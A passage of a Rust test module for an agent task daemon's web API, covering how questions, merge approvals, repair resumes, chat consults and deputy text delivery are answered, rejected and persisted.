12629        state.driver_exited = true;
12630        let mut q = Question::new(
12631            state.id.clone(),
12632            crate::land::APPROVAL_NODE.into(),
12633            "land".into(),
12634            "Obsolete approval".into(),
12635            String::new(),
12636            vec!["merge".into(), "hold".into()],
12637        );
12638        state.land_approval = Some(crate::run::LandApproval {
12639            question: q.id.clone(),
12640            head: "head".into(),
12641        });
12642        state.save_under(fx.home.path()).unwrap();
12643        fx.questions().put(&mut q).unwrap();
12644        let mut task = Task::new(
12645            "Owner".into(),
12646            "Original instruction".into(),
12647            state.repo.clone(),
12648            Source::Human,
12649        );
12650        task.runs.push(state.id.clone());
12651        task.status = TaskStatus::Parked;
12652        fx.queue().put(&mut task).unwrap();
12653        // Model a crash after the run stop was persisted but before the queue
12654        // and answered question were flushed. Retrying must finish, not resume.
12655        state.merge_decision = Some(crate::merge_decision::Decision {
12656            question: q.id.clone(),
12657            target: crate::merge_decision::Target {
12658                pr: state.pr.as_ref().unwrap().url.clone(),
12659                head: "head".into(),
12660                language: "ja".into(),
12661            },
12662            choice: crate::merge_decision::DISMISS.into(),
12663            closed: false,
12664            replacement_run: None,
12665            replacement_pr: None,
12666        });
12667        state.status = RunStatus::Superseded;
12668        state.save_under(fx.home.path()).unwrap();
12669        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12670        let path = format!("/api/questions/{}/answer", q.id);
12671        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12672        let done = fx.queue().get(&task.id).unwrap();
12673        assert_eq!(done.status, TaskStatus::Done);
12674        assert_eq!(done.runs, task.runs);
12675        assert_eq!(done.instruction, task.instruction);
12676        assert!(done.action_applied(&q.id));
12677        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12678        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12679        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12680    }
12681
12682    #[tokio::test]
12683    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12684        let home = TempDir::new().unwrap();
12685        let ui = Arc::new(Ui::new(
12686            Queue::at(home.path().join("queue")),
12687            Questions::at(home.path().join("questions")),
12688            Talks::at(home.path().join("talks")),
12689            home.path().join("runs"),
12690            home.path().to_owned(),
12691            home.path().to_owned(),
12692        ));
12693        let talks = &ui.talks;
12694        let chat =
12695            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12696        let mut q = Question::new(
12697            "run".into(),
12698            crate::land::APPROVAL_NODE.into(),
12699            "land".into(),
12700            "Merge?".into(),
12701            String::new(),
12702            vec!["merge".into(), "hold".into()],
12703        );
12704        q.routed_task = Some("task".into());
12705        q.routed_chat = Some(chat.id.clone());
12706        q.merge_target = Some(crate::merge_decision::Target {
12707            pr: "https://example.test/pull/1".into(),
12708            head: "head-a".into(),
12709            language: "en".into(),
12710        });
12711        ui.questions.put(&mut q).unwrap();
12712        let send = |body| {
12713            question_answer(
12714                State(ui.clone()),
12715                Path(q.id.clone()),
12716                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12717            )
12718        };
12719        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12720        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12721        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12722        assert!(send(wrong_chat).await.is_err());
12723        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12724        assert!(send(stale).await.is_err());
12725        assert!(ui.questions.get(&q.id).unwrap().status.open());
12726        assert!(send(button.clone()).await.is_ok());
12727        assert_eq!(
12728            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12729            Some("merge")
12730        );
12731        assert!(send(button).await.is_err());
12732    }
12733
12734    #[tokio::test]
12735    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12736        let home = TempDir::new().unwrap();
12737        let ui = Arc::new(Ui::new(
12738            Queue::at(home.path().join("queue")),
12739            Questions::at(home.path().join("questions")),
12740            Talks::at(home.path().join("talks")),
12741            home.path().join("runs"),
12742            home.path().to_owned(),
12743            home.path().to_owned(),
12744        ));
12745        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12746            let mut q = Question::new(
12747                "run".into(),
12748                crate::land::APPROVAL_NODE.into(),
12749                "land".into(),
12750                "Merge?".into(),
12751                String::new(),
12752                vec!["merge".into(), choice.into()],
12753            );
12754            q.routed_task = Some("task".into());
12755            q.merge_target = Some(crate::merge_decision::Target {
12756                pr: "https://example.test/pull/1".into(),
12757                head: "head-a".into(),
12758                language: "en".into(),
12759            });
12760            ui.questions.put(&mut q).unwrap();
12761            let answer = |c: &str| {
12762                question_answer(
12763                    State(ui.clone()),
12764                    Path(q.id.clone()),
12765                    Ok(Json(
12766                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12767                            .unwrap(),
12768                    )),
12769                )
12770            };
12771            let _ = answer(choice).await.unwrap();
12772            assert_eq!(
12773                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12774                Some(choice)
12775            );
12776        }
12777    }
12778
12779    #[tokio::test]
12780    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12781        let home = TempDir::new().unwrap();
12782        let ui = Arc::new(Ui::new(
12783            Queue::at(home.path().join("queue")),
12784            Questions::at(home.path().join("questions")),
12785            Talks::at(home.path().join("talks")),
12786            home.path().join("runs"),
12787            home.path().to_owned(),
12788            home.path().to_owned(),
12789        ));
12790        let mut q = Question::new(
12791            "run".into(),
12792            crate::github_text::ASK_NODE.into(),
12793            "posting-gate".into(),
12794            "Post?".into(),
12795            String::new(),
12796            vec!["use fallback".into()],
12797        );
12798        q.routed_task = Some("task".into());
12799        ui.questions.put(&mut q).unwrap();
12800        let sent = question_answer(
12801            State(ui.clone()),
12802            Path(q.id.clone()),
12803            Ok(Json(
12804                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12805                    .unwrap(),
12806            )),
12807        )
12808        .await;
12809        let _ = sent.unwrap();
12810        assert_eq!(
12811            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12812            Some("use fallback")
12813        );
12814    }
12815
12816    #[tokio::test]
12817    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12818        let fx = Fixture {
12819            home: TempDir::new().unwrap(),
12820            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12821        };
12822        for choice in [
12823            crate::land::HOLD,
12824            crate::land::REPAIR,
12825            crate::land::APPROVE,
12826            crate::merge_decision::WITHDRAW,
12827            "reimplement:beta",
12828        ] {
12829            let mut q = Question::new(
12830                "old-run".into(),
12831                crate::land::APPROVAL_NODE.into(),
12832                "land".into(),
12833                "Decision".into(),
12834                "Review findings".into(),
12835                vec![
12836                    "merge".into(),
12837                    "hold".into(),
12838                    crate::land::REPAIR.into(),
12839                    crate::merge_decision::WITHDRAW.into(),
12840                    "reimplement:beta".into(),
12841                ],
12842            );
12843            q.merge_target = Some(crate::merge_decision::Target {
12844                pr: "https://github.com/example/repo/pull/42".into(),
12845                head: "exact-reviewed-head".into(),
12846                language: "ja".into(),
12847            });
12848            q.consult = Some(ask::ChatConsult {
12849                talk: "another-conversation".into(),
12850                at: jiff::Timestamp::now(),
12851            });
12852            fx.questions().put(&mut q).unwrap();
12853            let ui = Arc::new(Ui::new(
12854                fx.queue(),
12855                fx.questions(),
12856                fx.talks(),
12857                fx.runs(),
12858                fx.home.path().into(),
12859                std::path::PathBuf::from("."),
12860            ));
12861            let response = question_answer(
12862                State(ui.clone()),
12863                Path(q.id.clone()),
12864                Ok(Json(NewAnswer {
12865                    choice: Some(choice.into()),
12866                    text: None,
12867                    ..Default::default()
12868                })),
12869            )
12870            .await
12871            .unwrap();
12872            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12873            let disk = fx.questions().get(&q.id).unwrap();
12874            assert_eq!(disk.merge_target, q.merge_target);
12875            assert_eq!(disk.consult, q.consult);
12876            assert_eq!(disk.resolution().as_deref(), Some(choice));
12877            assert!(
12878                question_answer(
12879                    State(ui),
12880                    Path(q.id.clone()),
12881                    Ok(Json(NewAnswer {
12882                        choice: Some("merge".into()),
12883                        text: None,
12884                        ..Default::default()
12885                    }))
12886                )
12887                .await
12888                .is_err(),
12889                "an already settled decision cannot turn into merge approval"
12890            );
12891        }
12892    }
12893
12894    #[tokio::test]
12895    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12896        let fx = Fixture {
12897            home: TempDir::new().unwrap(),
12898            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12899        };
12900        let mut state = crate::land::tests::repair_state(true, true);
12901        state.status = RunStatus::Landing;
12902        state.parked = true;
12903        state.driver_exited = true;
12904        let mut task = Task::new(
12905            "Existing PR owner".into(),
12906            state.instruction.clone(),
12907            state.repo.clone(),
12908            Source::Human,
12909        );
12910        task.runs.push(state.id.clone());
12911        task.status = TaskStatus::Parked;
12912        fx.queue().put(&mut task).unwrap();
12913        let mut q = Question::new(
12914            state.id.clone(),
12915            crate::land::APPROVAL_NODE.into(),
12916            "land".into(),
12917            "Contested merge".into(),
12918            "Original evidence".into(),
12919            vec!["merge".into(), "hold".into()],
12920        );
12921        state.land_approval = Some(crate::run::LandApproval {
12922            question: q.id.clone(),
12923            head: "reviewed-head".into(),
12924        });
12925        state.save_under(fx.home.path()).unwrap();
12926        fx.questions().put(&mut q).unwrap();
12927        // A later repair answer on this old card supersedes this manual hold.
12928        task.hold_manual(Some("Pause this PR".into()));
12929        fx.queue().put(&mut task).unwrap();
12930        // POST directly, without a preceding GET: validation must see the
12931        // same durable upgrade that the card, CLI and chat see.
12932        let ui = Arc::new(Ui::new(
12933            fx.queue(),
12934            fx.questions(),
12935            fx.talks(),
12936            fx.runs(),
12937            fx.home.path().to_path_buf(),
12938            state.repo.clone(),
12939        ));
12940        let response = question_answer(
12941            State(ui),
12942            Path(q.id.clone()),
12943            Ok(Json(NewAnswer {
12944                choice: Some(crate::land::REPAIR.into()),
12945                text: None,
12946                ..Default::default()
12947            })),
12948        )
12949        .await
12950        .unwrap();
12951        assert_eq!(response.0.question.id, q.id);
12952        let upgraded = fx.questions().get(&q.id).unwrap();
12953        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12954        assert!(upgraded.detail.starts_with("Original evidence"));
12955        let claim = fx.queue().claim(&task.id).unwrap();
12956        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12957        assert!(
12958            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12959            "an existing driver keeps its claim"
12960        );
12961        drop(claim);
12962        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12963        let resumed = fx.queue().get(&task.id).unwrap();
12964        assert_eq!(
12965            resumed
12966                .resume_override
12967                .as_ref()
12968                .unwrap()
12969                .pinned_run
12970                .as_deref(),
12971            Some(state.id.as_str())
12972        );
12973        assert!(resumed.status.runnable());
12974        assert_eq!(resumed.instruction, task.instruction);
12975        assert_eq!(resumed.runs, task.runs);
12976        assert!(resumed.action_applied(&q.id));
12977        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12978        assert_eq!(fx.queue().list().len(), 1);
12979        assert_eq!(
12980            fx.queue().get(&task.id).unwrap().resume_override,
12981            resumed.resume_override
12982        );
12983        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12984        assert!(
12985            disk.merge_repairs.is_empty(),
12986            "only the claimed run driver may execute repair"
12987        );
12988        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12989    }
12990
12991    #[tokio::test]
12992    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12993        let fx = Fixture::start().await;
12994        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12995        let path = format!("/api/questions/{id}/answer");
12996
12997        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12998        assert_eq!(res.status, 200, "{}", res.body);
12999        let body = res.json();
13000        assert_eq!(body["status"], "answered");
13001        assert_eq!(body["answer"]["choice"], "Redis");
13002
13003        // Answered from the terminal in between the list and the tap: the UI
13004        // must be able to tell this from a bad request, so it can show the
13005        // recorded answer instead of an error.
13006        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13007        assert_eq!(again.status, 409, "{}", again.body);
13008        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13009    }
13010
13011    #[tokio::test]
13012    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13013        let home = tempfile::tempdir().unwrap();
13014        let ui = delta_test_ui(home.path());
13015        let mut q = Question::new(
13016            "task".into(),
13017            crate::land::APPROVAL_NODE.into(),
13018            "land".into(),
13019            "Explain?".into(),
13020            String::new(),
13021            vec!["hold".into()],
13022        );
13023        q.deputy = Some(ask::Deputy::new("context".into()));
13024        ui.questions.put(&mut q).unwrap();
13025        let mut cfg = stub_config();
13026        cfg.daemon.max_deputies = 0;
13027        let mut status = crate::daemon::Status::new();
13028        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13029        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13030        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13031        let error = question_say(
13032            State(ui.clone()),
13033            Path(q.id.clone()),
13034            Ok(Json(NewSay {
13035                body: "Explain the findings".into(),
13036            })),
13037        )
13038        .await
13039        .unwrap_err();
13040        assert_eq!(
13041            error.text_reason,
13042            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13043        );
13044        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13045
13046        let mut text = Question::new(
13047            "task".into(),
13048            "ask".into(),
13049            "operator".into(),
13050            "Which name?".into(),
13051            String::new(),
13052            vec![],
13053        );
13054        ui.questions.put(&mut text).unwrap();
13055        let Json(view) = question_answer(
13056            State(ui.clone()),
13057            Path(text.id.clone()),
13058            Ok(Json(NewAnswer {
13059                choice: None,
13060                text: Some("chosen name".into()),
13061                ..Default::default()
13062            })),
13063        )
13064        .await
13065        .unwrap();
13066        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13067        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13068    }
13069
13070    #[tokio::test]
13071    async fn question_text_handler_admission_without_transport() {
13072        let home = tempfile::tempdir().unwrap();
13073        let ui = delta_test_ui(home.path());
13074        let mut q = Question::new(
13075            "task".into(),
13076            crate::land::APPROVAL_NODE.into(),
13077            "land".into(),
13078            "May this PR merge?".into(),
13079            String::new(),
13080            vec!["hold".into()],
13081        );
13082        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13083        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13084        ui.questions.put(&mut q).unwrap();
13085        let say = || {
13086            Ok(Json(NewSay {
13087                body: "Explain the findings".into(),
13088            }))
13089        };
13090        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13091            .await
13092            .unwrap_err();
13093        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13094        let response = rejected.into_response();
13095        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13096            .await
13097            .unwrap();
13098        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13099        assert_eq!(body["code"], "question_text_unavailable");
13100        assert_eq!(body["reason"], "deputy_exhausted");
13101        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13102        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13103        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13104        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13105            .await
13106            .unwrap();
13107        assert_eq!(view.text_delivery.state, "live");
13108        assert!(view.question.waiter.is_none());
13109        assert!(view.question.cwd.is_none());
13110        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13111        ui.questions.drop_lease(&q.id);
13112        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13113            .await
13114            .unwrap_err();
13115        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13116        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13117        let _ = question_answer(
13118            State(ui.clone()),
13119            Path(q.id.clone()),
13120            Ok(Json(NewAnswer {
13121                choice: Some("hold".into()),
13122                text: None,
13123                ..Default::default()
13124            })),
13125        )
13126        .await
13127        .unwrap();
13128        assert_eq!(
13129            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13130            Some("hold")
13131        );
13132    }
13133
13134    #[tokio::test]
13135    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13136        let fx = Fixture::start().await;
13137        let store = fx.questions();
13138        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13139        store
13140            .update(&id, |q| {
13141                q.node = crate::land::APPROVAL_NODE.to_owned();
13142                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13143                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13144                Ok(())
13145            })
13146            .unwrap();
13147        let path = format!("/api/questions/{id}/say");
13148        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13149        assert_eq!(refused.status, 422, "{}", refused.body);
13150        assert!(
13151            refused.json()["error"]
13152                .as_str()
13153                .unwrap()
13154                .contains("deputy_exhausted")
13155        );
13156        assert!(store.get(&id).unwrap().thread.is_empty());
13157
13158        // A final live deputy is usable even with no ordinary waiter/cwd.
13159        store.beat(&id, ask::WaiterKind::Deputy);
13160        let view = fx.get("/api/questions").await.json();
13161        assert_eq!(view[0]["text_delivery"]["state"], "live");
13162        let accepted = fx
13163            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13164            .await;
13165        assert_eq!(accepted.status, 200, "{}", accepted.body);
13166        let before = std::fs::read(store.path_of(&id)).unwrap();
13167
13168        // The recipient exits between rendering and sending. Rejection must
13169        // preserve previously accepted text, the answer and delivery cursor.
13170        store.drop_lease(&id);
13171        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13172        assert_eq!(refused.status, 422, "{}", refused.body);
13173        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13174        let held = fx
13175            .post(
13176                &format!("/api/questions/{id}/answer"),
13177                Some(r#"{"choice":"hold"}"#),
13178            )
13179            .await;
13180        assert_eq!(held.status, 200, "{}", held.body);
13181        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13182    }
13183
13184    #[tokio::test]
13185    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13186        let repo = tempfile::tempdir().unwrap();
13187        let mut cfg = stub_config();
13188        cfg.daemon.max_deputies = 0;
13189        std::fs::write(
13190            repo.path().join("magi.toml"),
13191            toml::to_string(&cfg).unwrap(),
13192        )
13193        .unwrap();
13194        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13195        let mut status = crate::daemon::Status::new();
13196        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13197        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13198        let id = ask(&fx, "Explain?", &["hold"]);
13199        fx.questions()
13200            .update(&id, |q| {
13201                q.node = crate::land::APPROVAL_NODE.into();
13202                q.deputy = Some(ask::Deputy::new("context".into()));
13203                q.deputy.as_mut().unwrap().agent = "stub".into();
13204                Ok(())
13205            })
13206            .unwrap();
13207        cfg.daemon.max_deputies = 1;
13208        std::fs::write(
13209            repo.path().join("magi.toml"),
13210            toml::to_string(&cfg).unwrap(),
13211        )
13212        .unwrap();
13213        let view = fx.get("/api/questions").await.json();
13214        assert_eq!(view[0]["deputies_enabled"], true);
13215        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13216        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13217        let res = fx
13218            .post(
13219                &format!("/api/questions/{id}/say"),
13220                Some(r#"{"body":"Please explain"}"#),
13221            )
13222            .await;
13223        assert_eq!(res.status, 422, "{}", res.body);
13224        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13225    }
13226
13227    #[tokio::test]
13228    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13229        let fx = Fixture::start().await;
13230        let id = ask(&fx, "No seat", &[]);
13231        let store = fx.questions();
13232        let before = std::fs::read(store.path_of(&id)).unwrap();
13233        let res = fx
13234            .post(
13235                &format!("/api/questions/{id}/say"),
13236                Some(r#"{"body":"hello"}"#),
13237            )
13238            .await;
13239        assert_eq!(res.status, 422, "{}", res.body);
13240        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13241        let res = fx
13242            .post(
13243                &format!("/api/questions/{id}/answer"),
13244                Some(r#"{"text":"hello"}"#),
13245            )
13246            .await;
13247        assert_eq!(res.status, 200, "{}", res.body);
13248        assert_eq!(
13249            store.get(&id).unwrap().resolution().as_deref(),
13250            Some("hello")
13251        );
13252    }
13253
13254    #[tokio::test]
13255    async fn saying_something_appends_a_turn_without_answering() {
13256        let fx = Fixture::start().await;
13257        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13258        fx.questions().beat(&id, ask::WaiterKind::Asker);
13259        let path = format!("/api/questions/{id}/say");
13260
13261        let res = fx
13262            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13263            .await;
13264        assert_eq!(res.status, 200, "{}", res.body);
13265        let body = res.json();
13266        assert_eq!(body["status"], "open", "talking back is not a decision");
13267        assert_eq!(body["answer"], Value::Null);
13268        assert_eq!(body["thread"][0]["who"], "operator");
13269        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13270        assert_eq!(body["waiting_on_agent"], true);
13271        // Still open, still counted, still exactly one question.
13272        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13273    }
13274
13275    #[tokio::test]
13276    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13277        let fx = Fixture::start().await;
13278        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13279
13280        let list = fx.get("/api/questions").await.json();
13281        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13282
13283        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13284        assert_eq!(res.status, 409, "{}", res.body);
13285        let q = fx.questions().get(&id).unwrap();
13286        assert!(q.status.open());
13287        assert!(q.consult.is_none());
13288    }
13289
13290    #[tokio::test]
13291    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13292        let fx = Fixture::start().await;
13293        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13294        let cfg = Config {
13295            agents: vec![crate::config::AgentSpec {
13296                id: "mock".to_owned(),
13297                kind: crate::config::AgentKind::Command,
13298                model: None,
13299                command: vec!["true".to_owned()],
13300                extra_args: Vec::new(),
13301                env: Default::default(),
13302                prompt_delivery: None,
13303                max_turn_secs: None,
13304            }],
13305            ..Config::default()
13306        };
13307        let talk = crate::talk::begin(
13308            &fx.talks(),
13309            &cfg,
13310            fx.home.path().to_path_buf(),
13311            Some("mock"),
13312        )
13313        .unwrap();
13314        let mut task = Task::new(
13315            "t".to_owned(),
13316            "Do it".to_owned(),
13317            PathBuf::from("/repo/magi"),
13318            Source::Agent {
13319                run: talk.id.clone(),
13320                node: crate::queue::CHAT_NODE.to_owned(),
13321            },
13322        );
13323        task.start("20260902-000000-beef".to_owned());
13324        fx.queue().put(&mut task).unwrap();
13325
13326        let list = fx.get("/api/questions").await.json();
13327        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13328        assert_eq!(
13329            list[0]["choices"],
13330            serde_json::json!(["SQLite", "Redis"]),
13331            "the hand-over is never a choice"
13332        );
13333        fx.questions()
13334            .update(&id, |q| {
13335                q.node = crate::land::APPROVAL_NODE.into();
13336                q.choices = vec!["merge".into(), "hold".into()];
13337                Ok(())
13338            })
13339            .unwrap();
13340        let list = fx.get("/api/questions").await.json();
13341        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13342        assert_eq!(list[0]["can_consult_chat"], true);
13343        fx.questions()
13344            .update(&id, |q| {
13345                q.node = crate::bump::NOTICE_NODE.into();
13346                Ok(())
13347            })
13348            .unwrap();
13349        let list = fx.get("/api/questions").await.json();
13350        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13351        assert_eq!(list[0]["can_consult_chat"], false);
13352    }
13353
13354    #[tokio::test]
13355    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13356        let fx = Fixture::start().await;
13357        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13358        fx.questions()
13359            .update(&id, |q| {
13360                q.node = crate::land::APPROVAL_NODE.into();
13361                q.choices = vec!["merge".into(), "hold".into()];
13362                Ok(())
13363            })
13364            .unwrap();
13365        let cfg = Config {
13366            agents: vec![crate::config::AgentSpec {
13367                id: "mock".to_owned(),
13368                kind: crate::config::AgentKind::Command,
13369                model: None,
13370                command: vec!["true".to_owned()],
13371                extra_args: Vec::new(),
13372                env: Default::default(),
13373                prompt_delivery: None,
13374                max_turn_secs: None,
13375            }],
13376            ..Config::default()
13377        };
13378        // Not a git working tree, so its `magi.toml` is read from disk.
13379        let repo = fx.home.path().join("chat-repo");
13380        std::fs::create_dir_all(&repo).unwrap();
13381        let toml = repo.join("magi.toml");
13382        std::fs::write(&toml, "this is = = not toml").unwrap();
13383        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13384        let mut task = Task::new(
13385            "t".to_owned(),
13386            "Do it".to_owned(),
13387            PathBuf::from("/repo/magi"),
13388            Source::Agent {
13389                run: talk.id.clone(),
13390                node: crate::queue::CHAT_NODE.to_owned(),
13391            },
13392        );
13393        task.start("20260902-000000-beef".to_owned());
13394        fx.queue().put(&mut task).unwrap();
13395
13396        let path = format!("/api/questions/{id}/consult");
13397        let res = fx.post(&path, None).await;
13398        assert!(res.status >= 400, "{}", res.body);
13399        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13400        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13401
13402        std::fs::write(&toml, "").unwrap();
13403        let res = fx.post(&path, None).await;
13404        assert_eq!(res.status, 202, "{}", res.body);
13405        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13406        let q = fx.questions().get(&id).unwrap();
13407        assert!(q.status.open());
13408        assert!(q.answer.is_none());
13409        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13410        assert_eq!(res.json()["can_consult_chat"], true);
13411        let list = fx.get("/api/questions").await.json();
13412        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13413        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13414
13415        let res = fx
13416            .post(
13417                &format!("/api/questions/{id}/answer"),
13418                Some(r#"{"choice":"hold"}"#),
13419            )
13420            .await;
13421        assert_eq!(res.status, 200, "{}", res.body);
13422        assert_eq!(res.json()["answer"]["choice"], "hold");
13423        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13424        assert_eq!(res.json()["can_consult_chat"], false);
13425        assert_eq!(fx.post(&path, None).await.status, 409);
13426
13427        let mut talk = fx.talks().get(&talk.id).unwrap();
13428        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13429        let list = fx.get("/api/questions").await.json();
13430        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13431        assert_eq!(list[0]["origin_chat_closed"], true);
13432        assert_eq!(list[0]["can_consult_chat"], false);
13433
13434        fx.talks().remove(&talk.id).unwrap();
13435        let list = fx.get("/api/questions").await.json();
13436        assert_eq!(list[0]["origin_chat"], Value::Null);
13437        assert_eq!(list[0]["origin_chat_closed"], false);
13438        assert_eq!(list[0]["can_consult_chat"], false);
13439    }
13440
13441    #[tokio::test]
13442    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13443        let fx = Fixture::start().await;
13444        let store = fx.questions();
13445        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13446        store.beat(&id, ask::WaiterKind::Asker);
13447        assert_eq!(
13448            fx.get("/api/health").await.json()["questions_needs_owner"],
13449            1
13450        );
13451
13452        // The owner asks back instead of deciding: the ask bar, the nav badge
13453        // and the title must stop naming this question, because there is
13454        // nothing to decide until the agent answers - `status` alone cannot
13455        // say that, which is the whole reason `questions_needs_owner` exists
13456        // alongside `questions_open`.
13457        let res = fx
13458            .post(
13459                &format!("/api/questions/{id}/say"),
13460                Some(r#"{"body":"why not Postgres?"}"#),
13461            )
13462            .await;
13463        assert_eq!(res.status, 200, "{}", res.body);
13464        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13465        assert_eq!(
13466            fx.get("/api/health").await.json()["questions_needs_owner"],
13467            0,
13468            "waiting on the agent is not waiting on the owner"
13469        );
13470
13471        // `magi ask --thread` replying is what brings the owner count back -
13472        // the same event that would resume the CLI call blocked in `magi
13473        // ask`.
13474        let mut q = store.get(&id).expect("get");
13475        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13476            .expect("reply");
13477        store.put(&mut q).expect("put");
13478        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13479        assert_eq!(
13480            fx.get("/api/health").await.json()["questions_needs_owner"],
13481            1,
13482            "the agent's reply is what should light the banner back up"
13483        );
13484    }
13485
13486    #[tokio::test]
13487    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13488        let fx = Fixture::start().await;
13489        let store = fx.questions();
13490
13491        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13492        let res = fx
13493            .post(
13494                &format!("/api/questions/{empty_id}/say"),
13495                Some(r#"{"body":"   "}"#),
13496            )
13497            .await;
13498        assert_eq!(res.status, 400, "{}", res.body);
13499
